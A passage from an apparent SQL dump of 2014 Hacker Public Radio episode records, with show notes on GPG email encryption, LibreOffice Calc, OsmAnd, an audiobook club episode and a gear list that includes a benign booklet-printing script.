href=\"https://www.zwilnik.com/?page_id=547\">https://www.zwilnik.com/?page_id=547</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>Thunderbird: <a href=\"https://www.mozilla.org/en-US/thunderbird/\">https://www.mozilla.org/en-US/thunderbird/</a>\r\n</li>\r\n<li>Enigmail: <a href=\"https://www.enigmail.net/home/index.php\">https://www.enigmail.net/home/index.php</a>\r\n</li>\r\n</ul>',198,74,0,'CC-BY-SA','encryption, email',0,1471,1),
(1481,'2014-04-07','Encryption and Gmail',987,'This looks at how you can use encryption to sign email and to privately secure it in Gmail.','<p>\r\nLast time we looked at how you can use GPG and Enigmail to digitally sign or encrypt messages in Thunderbird. But today many people use web-based mail, and one of the most popular is Googles Gmail. Others include Outlook.com and Yahoo, but using any of them is pretty similar. So since I have a Gmail account handy, I will use that to demonstrate encryption in web mail accounts.\r\n</p>\r\n<p>\r\nThe important thing you must keep in mind is that this relies on you using your GPG keys to either sign or encrypt the message before it leaves your computer, what Steve Gibson calls Pre-Interent Encryption, or PIE. The flaw in what Lavabit did (discussed in previous lesson) was to use keys that the mail provider controlled, and these keys could be (and were) demanded by the the government.. If you use your own GPG keys that you control, no provider (Google, in this case) is even capable of giving anything to the government other than a blob of random nonsense.\r\n</p>\r\n<p>\r\nTo do this, I will use an extension for Googles Chrome Browser called Mailvelope. This is also available for Firefox, but in my case I use Chrome to access my Gmail account., so using a Chrome extension makes sense for me. The first thing to do is go to the Chrome store, search for Mailvelope, and install it.\r\n</p>\r\n<p>\r\nFor the remainder of the show notes please see <a href=\"https://www.zwilnik.com/?page_id=546\">https://www.zwilnik.com/?page_id=546</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.mailvelope.com/\">https://www.mailvelope.com/</a>\r\n</li>\r\n</ul>',198,74,0,'CC-BY-SA','encryption, email',0,1474,1),
(1500,'2014-05-02','Key Signing',1733,'Ahuka and Tony Bemus discuss key signing and how you build a web of trust.','<p>\r\nOne of the issues in using public key encryption is ensuring you know who you are communicating with, and that you have correctly matched the owner to the key. Otherwise, your communication could be intercepted and decrypted by a third-party. The way we solve this problem is with key signing, which is often done at key signing parties. We discuss all this with Tony Bemus of the Sunday Morning Linux Review. \r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=org.thialfihar.android.apg&amp;hl=en\">https://play.google.com/store/apps/details?id=org.thialfihar.android.apg&amp;hl=en</a>\r\n</li>\r\n<li><a href=\"https://smlr.us/\">https://smlr.us/</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=546\">https://www.zwilnik.com/?page_id=546</a>\r\n<p></p>\r\n</li>\r\n</ul>',198,74,0,'CC-BY-SA','public key encryption,GPG,keyring,key signing,Mailvelope',0,1651,1),
(1495,'2014-04-25','27 - LibreOffice Calc - Calculations and the Formula Bar',1401,'This episode looks at the creating and using formulas in spreadsheets.','<p>Since the main purpose of a spreadsheet is to perform calculations it is appropriate that we consider just how this is done.</p>\r\n<p>In general, a cell of a spreadsheet can contain one of three things:</p>\r\n<ul>\r\n<li>A number</li>\r\n<li>Text</li>\r\n<li>A formula</li>\r\n</ul>\r\n<p>All calculations are done using formulas. A formula occurs whenever a cell has contents that begin with an equals sign, which is the signal to Calc that it needs to perform a calculation. For instance, if a cell contains \"A3+B3\", Calc would examine this, see the letters and the plus sign, and decide that the contents of the cell were a text string. After all, it cannot be a pure number with those other things there. But place an equals sign in front, so that the contents now read \"=A3+B3\" and Calc knows that this is formula, and will perform the calculation. And one of the best ways to interact with a cell that contains a formula is to use the Formula Bar, which normally appears just above the cells of the spreadsheet proper:</p>\r\n<p>For the remainder of the show notes please read: <a href=\"https://www.ahuka.com/?page_id=723\">https://www.ahuka.com/?page_id=723</a>\r\n</p>\r\n\r\n\r\n\r\n',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, formulas',0,1455,1),
(1515,'2014-05-23','29 - LibreOffice Calc - Models and \"What-If\" Analysis',774,'This episode looks at building models and doing \"What-If?\" Analysis.','<p>\r\nThe next topic is extremely important because it addresses where most beginning users of spreadsheets get into trouble. First, understand that building models and doing \"What-If\" analysis is fundamental to the success and widespread adoption of spreadsheets all over the world. A model can be thought of as a mathematical representation of a process of some kind. It could be financial, such as projecting my sales over the next year, or perhaps working out when my car loan will be paid off. Or it could be scientific, such as projecting out the reaction times and quantities in a chemical reaction. The only real requirement is that whatever you are modeling has to be something that can be represented using mathematical formulas of some kind.\r\n</p>\r\n<p>\r\n\"What-If\" analysis takes this model and lets you experiment to see how how changes in different variables affect the results in your model. If I am figuring out when my car loan will be paid off, I might ask how paying an extra $20 per month against the principle would affect my results (presumably, it should lead to getting it paid off sooner if I set the model up correctly.) Or in the case of the chemical process, how would different temperatures or pressures affect the reaction times and quantities? By experimenting with different values in my model I can do this comparison easily. But only if I built the model properly in the first place.\r\n</p>\r\n<p>\r\nFor the remainder of the show notes please see <a href=\"https://www.ahuka.com/?page_id=752\">https://www.ahuka.com/?page_id=752</a>\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Calc',0,1427,1),
(1505,'2014-05-09','28 - LibreOffice Calc - Fills, an Introduction',903,'This episode looks at the filling rows and columns using click-and-drag.','<p>\r\nOne of the key techniques in using a spreadsheet is to master the art of fills, which lets you fill a column or a row with data without having to type in every cell individually. And this technique requires that there be a predictable pattern to the contents of each cell as you fill them. But you can do a lot with this technique, and we will want to use this when we do our first model, which will be a simple savings model.\r\n</p>\r\n<p>\r\nBut first we need to build the tools in our tool kit, and fills are a big one. To begin with, you can fill either rows or columns, though columns are more frequently filled using this technique. Still, it is good to know you can do either. The simplest fill begins with a cell that has some kind of contents. For example, lets say that cell B1 contains the word \"Rain\". If you click on the cell, you will see it highlighted with a thick black border\r\n</p>\r\n<p>\r\nFor the remainder of the show notes please see <a href=\"https://www.ahuka.com/?page_id=734\">https://www.ahuka.com/?page_id=734</a>\r\n</p>\r\n',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, fills',0,1431,1),
(1525,'2014-06-06','30 - LibreOffice Calc - A Savings Model',1252,'LibreOffice, Calc, Spreadsheet, models, what-if analysis, savings','<p>In the previous tutorial we discussed the fundamental ideas of building models and doing &#8220;What-If?&#8221; analysis. Now we need to take these ideas and put them into practice so you can see how this works. To do this I will create a simple model of savings over time. Now, I do want to be clear that this is a very over-simplified model and should not be taken as a good predictor of actual results. The idea is to illustrate the techniques involved in building a model and doing &#8220;What-If?&#8221; analysis.</p><p>So. what are the variables, parameters, assumptions, etc. that we need? I have identified these in my model:</p><ul><li>An initial amount of money already saved. This is the starting amount you have.</li><li>An amount of money you add to your savings each year.</li><li>The rate of return on your savings</li></ul><p>For the remainder of the show notes please see <a href=\"https://www.ahuka.com/?page_id=761\">https://www.ahuka.com/?page_id=761</a></p><p>A copy of the spreadsheet created for this program can be found at <a href=\"https://www.ahuka.com/?attachment_id=763\">https://www.ahuka.com/?attachment_id=763</a></p>\n',198,70,0,'CC-BY-SA','LibreOffice, Calc',0,1387,1),
(1464,'2014-03-13','HPR Audiobook Club: Space Casey',5892,'A discussion of Space Casey written and produced by Christiana Ellis','<p>\r\nIn this episode of the HPR Audiobook Club Broam, Jonathan Nadeau, pokey and Christiana Ellis discuss the podiobooks.com presentation of Space Casey written and produced by Christiana Ellis. This episode contains spoilers in the second half, so please listen to the audiobook for yourself before listening to the podcast all the way through. This audiobook was liked by all of the panellists on this episode.\r\n</p>\r\n<p>\r\n<img src=\"https://static.libsyn.com/p/assets/6/b/4/a/6b4a322691412335/height_334_width_200_raw.jpg\" alt=\"Book Cover\" />\r\n</p>\r\n<p>\r\nYou can download this audiobook for free (or voluntary donation) from <a href=\"https://podiobooks.com/title/space-casey/\">https://podiobooks.com/title/space-casey/</a>\r\n</p>\r\n<p>\r\nYou can buy a hard copy of the script-book used by the actors in this audiobook at <a href=\"https://www.lulu.com/shop/christiana-ellis/space-casey/paperback/product-15736459.html\">https://www.lulu.com/shop/christiana-ellis/space-casey/paperback/product-15736459.html</a>\r\n</p>\r\n<p>\r\nYou can buy the ebook version at <a href=\"https://www.lulu.com/shop/christiana-ellis/space-casey/ebook/product-17352326.html\">https://www.lulu.com/shop/christiana-ellis/space-casey/ebook/product-17352326.html</a>\r\n</p>\r\n\r\n<h3>Beverages</h3>\r\n\r\n<p>\r\nDuring this show the hosts also discuss beverages.\r\n</p>\r\n\r\n<ul>\r\n<li>Broam had some driving to do after the show so he was was drinking nothing at all. More information about Broam\'s beverage can be found here: file://127.0.0.1/dev/null\r\n</li>\r\n<li>Jonathan was drinking Starbucks iced coffee: <a href=\"https://www.starbucks.com/\">www.starbucks.com/</a>\r\n</li>\r\n<li>Christiana was drinking Reed\'s Flying Cauldron Butterscotch Beer: <a href=\"https://reedsinc.com/product/flying-cauldron-butterscotch-beer/\">https://reedsinc.com/product/flying-cauldron-butterscotch-beer/</a>\r\n</li>\r\n<li>pokey was drinking Harviestoun Old Engine Oil Porter: <a href=\"https://harviestoun.com/our-beers/old-engine-oil\">https://harviestoun.com/our-beers/old-engine-oil</a>\r\n</li>\r\n</ul>\r\n\r\n<h3>Next Book</h3>\r\n\r\n<p>\r\nOur next audiobook will be Shaman Tales 1: South Coast by Nathan Lowell. It is available at podiobooks.com The direct link is: <a href=\"https://podiobooks.com/title/shaman-tales-1-south-coast/\">https://podiobooks.com/title/shaman-tales-1-south-coast/</a> \r\nThis audiobook was suggested to us by Christiana Ellis, who liked it very much.\r\n</p>\r\n\r\n<h3>Christiana Ellis</h3>\r\n\r\n<p>\r\nYou can find more content (including podcasts) from Christiana Ellis at:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://christianaellis.com/\">https://christianaellis.com/</a>\r\n</li>\r\n<li><a href=\"https://christianaellis.com/?feed=podcast\">https://christianaellis.com/?feed=podcast</a>\r\nYou can send feedback directly to Christiana via email christianaDOTellisATgmailDOTcom and as always your feedback is welcome in the comments section of every episode.\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nJonathan Nadeau\'s website is <a href=\"https://accessiblefreedom.org/\">https://accessiblefreedom.org/</a>\r\n</p>\r\n<p>\r\nWe all had a great time recording this show, and we hope you enjoyed it as well. Thank you very much for listening.\r\n</p>\r\n<p>\r\nSincerely,\r\nThe HPR_AudioBookClub\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</p>',157,53,1,'CC-BY-SA','audiobook',0,1455,1),
(1469,'2014-03-20','HPR Community News for February 2014',4711,'HPR Community News for February 2014','<h2>New hosts</h2>\r\n<p>\r\nThere were no new hosts this month.\r\n</p>\r\n\r\n<table>\r\n<thead><tr>\r\n<th>id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n\r\n<tbody>\r\n<tr><td>1436</td>\r\n<td>HPR New Year Show 2013-2014 After Show 1 of 4</td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n  \r\n<tr><td>1437</td>\r\n<td>HPR New Year Show 2013-2014 After Show 2 of 4</td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n  \r\n<tr><td>1438</td>\r\n<td>HPR New Year Show 2013-2014 After Show 3 of 4</td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n  \r\n<tr><td>1439</td>\r\n<td>HPR New Year Show 2013-2014 After Show 4 of 4</td>\r\n<td>Various Hosts</td>\r\n</tr>\r\n  \r\n<tr><td>1440</td>\r\n<td>Creating a Key Pair - GUI Client</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n  \r\n<tr><td>1441</td>\r\n<td>Jono Bacon and Stuart Langridge talk with pokey</td>\r\n<td>pokey</td>\r\n</tr>\r\n  \r\n<tr><td>1442</td>\r\n<td>Google Summer of Code</td>\r\n<td>Jonathan Nadeau</td>\r\n</tr>\r\n  \r\n<tr><td>1443</td>\r\n<td>Fahrenheit 0-100</td>\r\n<td>Bill_MI</td>\r\n</tr>\r\n  \r\n<tr><td>1444</td>\r\n<td>What is Firefox OS?</td>\r\n<td>J. A. Mathis</td>\r\n</tr>\r\n  \r\n<tr><td>1445</td>\r\n<td>22 - LibreOffice Writer Other Frame Styles</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n  \r\n<tr><td>1446</td>\r\n<td>Interview with Fernando H. F. Botelho from the F123 group</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n  \r\n<tr><td>1447</td>\r\n<td>HPR Coverage at FOSDEM 2014 Part 1/5</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n  \r\n<tr><td>1448</td>\r\n<td>Intro to cable cutting</td>\r\n<td>Tracy Holz_Holzster</td>\r\n</tr>\r\n  \r\n<tr><td>1449</td>\r\n<td>Timelapse Video</td>\r\n<td>Peter64</td>\r\n</tr>\r\n  \r\n<tr><td>1450</td>\r\n<td>My Mobile digital life</td>\r\n<td>Knightwise</td>\r\n</tr>\r\n  \r\n<tr><td>1451</td>\r\n<td>Jeremy Allison ~ the SAMBA project</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n  \r\n<tr><td>1452</td>\r\n<td>HPR Coverage at FOSDEM 2014 Part 3</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n  \r\n<tr><td>1453</td>\r\n<td>HPR Coverage at FOSDEM 2014 Part 4</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n  \r\n<tr><td>1454</td>\r\n<td>HPR Coverage at FOSDEM 2014 Part 5</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n  \r\n<tr><td>1455</td>\r\n<td>23 - LibreOffice Writer Other Page Layout Options</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n  \r\n</tbody>\r\n</table>\r\n',159,47,1,'CC-BY-SA','Community News',0,1356,1),
(1463,'2014-03-12','Code Is a Life Sucking Abyss, Also My Story ',925,'@sigflup','<p>\r\nIn this episode of Hacker Public Radio @sigflup talks about some of the pitfalls of programming as well as her story as a programmer.\r\n</p>',115,0,0,'CC-BY-SA','programming',0,1592,1),
(1466,'2014-03-17','Thoughts on GPS',1837,'pokey meanders through his thoughts on GPS.','<p>\r\nI\'ve always liked maps. Since getting a few GPS enabled devices maps have become even more useful to me, and I like them more and more all the time. Here is a brief episode on the GPS devices and map software that I use most often. I hope you enjoy my episode, and find something useful in it. The outro is a remix of Downright by Broam and Klaatu.\r\n</p>',128,0,1,'CC-BY-SA','GPS,TomTom,OSM Tracker,OsmDroid,OsmAnd,WAZE',0,1491,1),
(1467,'2014-03-18','How to win Find-The-Difference games',358,'pokey is probably better than you at \"Find The Difference\" games, but he won\'t be after this','<p>\r\nThis is a neat little trick that I discovered that you can use to get really high scores on those \"Find The Difference\" games that they have at some bars (there\'s at least one in the Google Play store too). After I recorded this show I played to see just how high I could score, and I turned the score over.\r\n</p>',128,0,1,'CC-BY-SA','game,Find The Difference',0,1349,1),
(1468,'2014-03-19','A Whole Lot of Nothing: Chromebook EOL, CentOS WTF, Non Mainstream GNU/Linux Distros and more...',3545,'Beto covers a wide range of subjects in this episode','<p>\r\nThis episode covers a little bit of everything. The end of life for Chromebooks and how that hurts in some ways, hacker public radio topics, CentOS and Red Hat joining, participate with a non mainstream GNU/Linux Distros, and much more.\r\n</p>\r\n<p>\r\nHere is a brief list of the topics and links covered in this episode:\r\n</p>\r\n\r\n<ul>\r\n<li>XFCE and Xubuntu is good, Crouton for Google Chromebook\r\n</li>\r\n<li>Chromebook EOL, WTF? I like the hardware but I want to use it until I\'m tired of using it, I don\'t want Apple or Google telling me otherwise.\r\n</li>\r\n<li>Distro wise what\'s next? I\'m not going to want to stick with Ubuntu much longer.\r\n</li>\r\n<li>CentOS, WTF? So on the server side what\'s next?\r\n</li>\r\n<li>Building your own distro from the ground up. It is a lot of work.\r\n</li>\r\n<li>Debian is by far still the best distro to stick with. I hope they don\'t jump ship.\r\n</li>\r\n<li>Bastion hosts are long gone, thank you and sorry Marcus J. Ranum.  Make way for clusters, customized systems, but generic and widely supported desktops. Sounds like Slackware to me, right?\r\n</li>\r\n<li>GNU/Linux Distribution Timeline <a href=\"https://futurist.se/gldt/\">https://futurist.se/gldt/</a> <a href=\"https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg\">https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg</a>\r\n</li>\r\n<li>Bridge Linux <a href=\"https://millertechnologies.net/\">https://millertechnologies.net/</a>\r\n</li>\r\n<li>Bedrock Linux <a href=\"https://bedrocklinux.org/index.html\">https://bedrocklinux.org/index.html</a>\r\n</li>\r\n<li>Indigogo <a href=\"https://www.indiegogo.com/projects/i-hate-being-single-season-2\">https://www.indiegogo.com/projects/i-hate-being-single-season-2</a>\r\n</li>\r\n<li>NCIX.com <a href=\"https://www.youtube.com/user/NCIXcom\">https://www.youtube.com/user/NCIXcom</a>\r\n</li>\r\n<li>Pod safe music <a href=\"https://www.freemusicarchive.org\">https://www.freemusicarchive.org</a>\r\n</li>\r\n<li>Configuration Management Configuration Deployment for Network automation <a href=\"https://packetpushers.net/show-176-intro-to-python-automation-for-network-engineers/\">https://packetpushers.net/show-176-intro-to-python-automation-for-network-engineers/</a>\r\n</li>\r\n<li>Duck Duck Go Goodies <a href=\"https://duckduckgo.com/goodies\">https://duckduckgo.com/goodies</a>\r\n</li>\r\n<li>Ansible <a href=\"https://www.ansible.com/home\">https://www.ansible.com/home</a>\r\n<p></p>\r\n</li>\r\n</ul>',231,0,1,'CC-BY-SA','XFCE,Debian,CentOS,Bridge Linux,Bedrock Linux,Ansible',0,1559,1),
(1471,'2014-03-24','Encrypt Your Stuff With Blowfish ',300,'@sigflup tells us how to Encrypt Your Stuff With Blowfish with openssl on the command line','<pre>\r\nencrypting:\r\n$ openssl bf -e &lt; my_file &gt; my_file.bf\r\n\r\ndecrypting:\r\n$ openssl bf -d &lt; my_file.bf &gt; my_file\r\n</pre>',115,74,0,'CC-BY-SA','openssl,BlowFish,encryption',0,1576,1),
(1543,'2014-07-02','What\'s in my bag',1154,'The contents of Ken\'s bag as he prepares for OHM 2013','<h2>Items</h2>\n <ul>\n  <li>Targus 17 - 18 inch / 43.1cm - 45.7cm XL Laptop Backpack: <a href=\"https://www.targus.com/uk/product_details.asp?sku=tcb001eu\">https://www.targus.com/uk/product_details.asp?sku=tcb001eu</a><ul>\n    <li>Case Logic VNB-217-BLACK: <a href=\"https://www.caselogic.com/en-us/us/products/laptop-cases/laptop-backpacks/17-laptop-backpack-_-vnb_-_217_-_black\">https://www.caselogic.com/en-us/us/products/laptop-cases/laptop-backpacks/17-laptop-backpack-_-vnb_-_217_-_black</a></li>\n   </ul>\n  </li>\n  <li>Poncho</li>\n  <li>Bottle of water</li>\n  <li>Dell Latitude E6420: <a href=\"https://www.dell.com/au/business/p/latitude-e6420/pd\">https://www.dell.com/au/business/p/latitude-e6420/pd</a></li>\n  <li>Perl Pocket Reference, 5th Edition: <a href=\"https://shop.oreilly.com/product/0636920018476.do\">https://shop.oreilly.com/product/0636920018476.do</a></li>\n  <li>Essential System Administration Pocket Reference: <a href=\"https://shop.oreilly.com/product/9780596004491.do\">https://shop.oreilly.com/product/9780596004491.do</a></li>\n  <li>The MagPi magazine: <a href=\"https://www.themagpi.com/\">https://www.themagpi.com/</a></li>\n  <li>Acer C7 Chromebook: <a href=\"https://www.google.com/intl/en/chrome/devices/acer-c7-chromebook.html#ac-c7\">https://www.google.com/intl/en/chrome/devices/acer-c7-chromebook.html#ac-c7</a><ul>\n    <li>Sonar GNU/Linux: <a href=\"https://www.sonar-project.org/\">https://www.sonar-project.org/</a></li>\n   </ul>\n  </li>\n  <li>Optical wired Mouse: <a href=\"https://www.trust.com/products/product.aspx?artnr=16591\">https://www.trust.com/products/product.aspx?artnr=16591</a></li>\n  <li>Sanza Clip: <a href=\"https://www.sandisk.co.uk/products/music-video-players/clip-plus-mp3-player/\">https://www.sandisk.co.uk/products/music-video-players/clip-plus-mp3-player/</a><ul>\n    <li>RockBox: <a href=\"https://www.rockbox.org/wiki/SansaClip\">https://www.rockbox.org/wiki/SansaClip</a></li>\n    <li>TrueCrypt: <a href=\"https://www.truecrypt.org/\">https://www.truecrypt.org/</a></li>\n   </ul>\n  </li>\n  <li>Huawei Ascend G510: <a href=\"https://consumer.huawei.com/en/mobile-phones/smart-phones/overview/g510-en.htm\">https://consumer.huawei.com/en/mobile-phones/smart-phones/overview/g510-en.htm</a><ul>\n    <li>iBood: <a href=\"https://www.ibood.com/\">https://www.ibood.com/</a></li>\n    <li>HTC Desire running CyanogenMod: <a href=\"https://wiki.cyanogenmod.org/w/Bravo_Info\">https://wiki.cyanogenmod.org/w/Bravo_Info</a></li>\n   </ul>\n  </li>\n  <li>Zoom H2: <a href=\"https://www.zoom.co.jp/english/products/h2/\">https://www.zoom.co.jp/english/products/h2/</a><ul>\n    <li>TERTIAL: <a href=\"https://www.ikea.com/gb/en/catalog/products/40370283/\">https://www.ikea.com/gb/en/catalog/products/40370283/</a></li>\n    <li>Tertial lamp into microphone stand: <a href=\"https://www.ikeahackers.net/2011/04/tertial-lamp-into-microphone-stand.html\">https://www.ikeahackers.net/2011/04/tertial-lamp-into-microphone-stand.html</a></li>\n    <li>Remove Before Flight: <a href=\"https://www.rotary13b1.com/images/products/1084_reg.jpg\">https://www.rotary13b1.com/images/products/1084_reg.jpg</a></li>\n   </ul>\n  </li>\n  <li>USB Male to Micro USB Male Data/Charging Cable: <a href=\"https://dx.com/p/usb-male-to-micro-usb-male-data-charging-cable-for-samsung-i9100-10cm-length-105025\">https://dx.com/p/usb-male-to-micro-usb-male-data-charging-cable-for-samsung-i9100-10cm-length-105025</a></li>\n  <li>Mini to Micro USB: <a href=\"https://dx.com/p/micro-usb-male-to-mini-usb-female-adapter-black-129131\">https://dx.com/p/micro-usb-male-to-mini-usb-female-adapter-black-129131</a></li>\n  <li>Pens</li>\n  <li>3 RasberryPi\'s: <a href=\"https://www.raspberrypi.org/\">https://www.raspberrypi.org/</a><ul>\n    <li>ModMyPi: <a href=\"https://www.modmypi.com/\">https://www.modmypi.com/</a></li>\n    <li>HDMI to VGA: HDMI v1.3 Male to VGA Female Converter Adapter w/ 3.5mm Audio Jack - Black</li>\n    <li>config.txt hdmi_safe=1 <ul>\n      <li>for more options see <a href=\"https://elinux.org/RPi_config.txt\">https://elinux.org/RPi_config.txt</a></li>\n     </ul>\n    </li>\n    <li>USB Male to Male Cables: <a href=\"https://dx.com/p/usb-male-to-male-cables-pair-24-5cm-length-103841\">https://dx.com/p/usb-male-to-male-cables-pair-24-5cm-length-103841</a></li>\n    <li>Eminent USB to Serial: 067b:2303 Prolific Technology, Inc. PL2303 Serial Port</li>\n    <li>DVI 24+1 Male to HDMI Female Adapter: <a href=\"https://dx.com/p/gold-plated-dvi-24-1-male-to-hdmi-female-adapter-81593\">https://dx.com/p/gold-plated-dvi-24-1-male-to-hdmi-female-adapter-81593</a> (Not exactly the same one)</li>\n    <li>1080P HDMI V1.3 Male to Male Connection Cable (50cm): <a href=\"https://dx.com/p/1080p-hdmi-v1-3-male-to-male-connection-cable-50cm-140332\">https://dx.com/p/1080p-hdmi-v1-3-male-to-male-connection-cable-50cm-140332</a></li>\n    <li>Short Ethernet Cable: <a href=\"https://en.wikipedia.org/wiki/Ethernet_cable\">https://en.wikipedia.org/wiki/Ethernet_cable</a></li>\n    <li>Short Ethernet Crossover Cable: <a href=\"https://en.wikipedia.org/wiki/Ethernet_crossover_cable\">https://en.wikipedia.org/wiki/Ethernet_crossover_cable</a></li>\n    <li>Foldable Flexible Compact Waterproof USB Silicone Keyboard - Color Assorted (85 Keys): <a href=\"https://dx.com/p/foldable-flexible-compact-waterproof-usb-silicone-keyboard-color-assorted-85-keys-55897\">https://dx.com/p/foldable-flexible-compact-waterproof-usb-silicone-keyboard-color-assorted-85-keys-55897</a></li>\n    <li>7 Ports Powered USB Hub: <a href=\"https://dx.com/p/7-ports-powered-usb-hub-678\">https://dx.com/p/7-ports-powered-usb-hub-678</a></li>\n   </ul>\n  </li>\n  <li>OV-chipkaart: <a href=\"https://www.ov-chipkaart.nl/?taal=en\">https://www.ov-chipkaart.nl/?taal=en</a></li>\n  <li>Compulsory identification: <a href=\"https://www.iamsterdam.com/en-GB/living/official-matters/compulsory-identification\">https://www.iamsterdam.com/en-GB/living/official-matters/compulsory-identification</a></li>\n </ul><pre>\n$ cat pringbooklet\n#!/bin/bash\n\n#HTML Input --&gt; HTML 2 PS --&gt; PS 2 PDF --&gt; PDF Output\n#lpstat -p |awk \'{print $2}\'\n\nif [ $# -lt 2 ]\nthen\n  echo \"\"\n  echo \"Usage: `basename $0` {pdf file} {printer name}\"\n  echo \"\"\n  echo \"Available printers: \\\"$(echo $(lpstat -p |awk \'{print $2}\' ) )\\\"\"\n  echo \"\"\n  exit\nfi\n\nFILE=$1\nPRINTER=$2\n\n\nif [ $# -eq 3 ]\nthen\n  COPIES=\"$3\"\nelse\n  COPIES=\"1\"\nfi\n\nif [ ! -e $FILE ];\nthen\n  echo \"Can\'t find the PDF file $1\"\n  exit\nfi\n\npdftops -level3 $FILE - | ps2ps - - | psbook | psnup -2 -Pa4 | ps2pdf - |\\\n    lp -d $PRINTER -o media=a4 -o sides=two-sided-short-edge -n $COPIES -\n</pre>',30,23,1,'CC-BY-SA','laptop backpack,OHM 2013',0,1325,1),
(1474,'2014-03-27','A behind the Curtain Look at OsmAnd (OSM Automated Navigation Directions) with Pokey and David',5303,'David and Pokey talk about the OsmAnd app','<p>\r\nThanks to Pokey for being the expert in this oggcast. \r\nNote: The song \'Do The Hokey Pokey is copyrighted\'\r\n</p>\r\n<p>\r\n<a href=\"https://osmand.net\">https://osmand.net</a>\r\n</p>\r\n\r\n<h2>Functionality</h2>\r\n\r\n<p>\r\nOsmAnd (OSM Automated Navigation Directions) is a map and navigation application with access to the free, worldwide, and high-quality OpenStreetMap (OSM) data. All map data can be stored on your device\'s memory card for offline use. Via your device\'s GPS, OsmAnd offers routing, with optical and voice guidance, for car, bike, and pedestrian. All the main functionalities work both online and offline (no internet needed). Some of the main features:\r\n</p>\r\n\r\n<h3>Navigation</h3>\r\n\r\n<ul>\r\n<li>Works online (fast) or offline (no roaming charges when you are abroad)\r\n</li>\r\n<li>Turn-by-turn voice guidance (recorded and synthesized voices)\r\n</li>\r\n<li>Optional lane guidance, street name display, and estimated time of arrival\r\n</li>\r\n<li>Supports intermediate points on your itinerary\r\n</li>\r\n<li>Automatic re-routing whenever you deviate from the route\r\n</li>\r\n<li>Search for places by address, by type (e.g.: restaurant, hotel, gas station, museum), or by geographical coordinates \r\n</li>\r\n</ul>\r\n\r\n<h3>Map Viewing</h3>\r\n\r\n<ul>\r\n<li>Display your position and orientation on the map\r\n</li>\r\n<li>Optionally align the map according to compass or your direction of motion\r\n</li>\r\n<li>Save your most important places as Favorites\r\n</li>\r\n<li>Display POIs (point of interests) around you\r\n</li>\r\n<li>Can display specialized online tile maps\r\n</li>\r\n<li>Can display satellite view (from Bing)\r\n</li>\r\n<li>Can display different overlays like touring/navigation GPX tracks and additional maps with customizable transparency\r\n</li>\r\n<li>Optionally display place names in English, local, or phonetic spelling \r\n</li>\r\n</ul>\r\n\r\n<h3>Use OpenStreetMap and Wikipedia Data</h3>\r\n\r\n<ul>\r\n<li>High quality information from the best collaborative projects of the world\r\n</li>\r\n<li>Global maps from OpenStreetMap, available per country or region\r\n</li>\r\n<li>Wikipedia POIs, great for sightseeing (not available in free version)\r\n</li>\r\n<li>Unlimited free download, directly from the app (download limit 16 map files in free version)\r\n</li>\r\n<li>Always up-to-date maps (updated at least once a month)\r\n</li>\r\n<li>Compact offline vector maps\r\n</li>\r\n<li>Select between complete map data and just road network (Example: All of Japan is 700 MB, or 200 MB for the road network only)\r\n</li>\r\n<li>Also supports online or cached tile maps \r\n</li>\r\n</ul>\r\n\r\n<h3>Safety Features</h3>\r\n\r\n<ul>\r\n<li>Optional automated day/night view switching\r\n</li>\r\n<li>Optional speed limit display, with reminder if you exceed it\r\n</li>\r\n<li>Optional speed-dependent map zooming\r\n</li>\r\n<li>Share your location so that your friends can find you \r\n</li>\r\n</ul>\r\n\r\n<h3>Bicycle and Pedestrian Features</h3>\r\n\r\n<ul>\r\n<li>The maps include foot, hiking, and bike paths, great for outdoor activities\r\n</li>\r\n<li>Special routing and display modes for bike and pedestrian\r\n</li>\r\n<li>Optional public transport stops (bus, tram, train) including line names\r\n</li>\r\n<li>Optional trip recording to local GPX file or online service\r\n</li>\r\n<li>Optional speed and altitude display\r\n</li>\r\n<li>Display of contour lines and hill-shading (via additional plugin) \r\n</li>\r\n</ul>\r\n\r\n<h3>Directly Contribute to OpenStreetMap</h3>\r\n\r\n<ul>\r\n<li>Report map bugs\r\n</li>\r\n<li>Upload GPX tracks to OSM directly from the app\r\n</li>\r\n<li>Add POIs and directly upload them to OSM (or later if offline)\r\n</li>\r\n<li>Optional trip recording also in background mode (while device is in sleep mode) \r\n</li>\r\n</ul>\r\n\r\n<p>\r\nOsmAnd is open source and actively being developed. Everyone can contribute to the application by reporting bugs, improving translations, or coding new features. The project is in a lively state of continuous improvement by all these forms of developer and user interaction. The project progress also relies on financial contributions to fund the development, coding, and testing of new functionalities. By buying OsmAnd+ you help the application to be even more awesome! It is also possible to fund specific new features, or to make a general donation on osmand.net. \r\n<a href=\"https://osmand.net\">https://osmand.net</a>\r\n</p>\r\n<p>\r\nOsmAnd (OSM Automated Navigation Directions)\r\n</p>\r\n<p>\r\nGPL \r\n</p>',209,0,1,'CC-BY-SA','OSM,map,GPS,OsmAnd',0,1473,1),
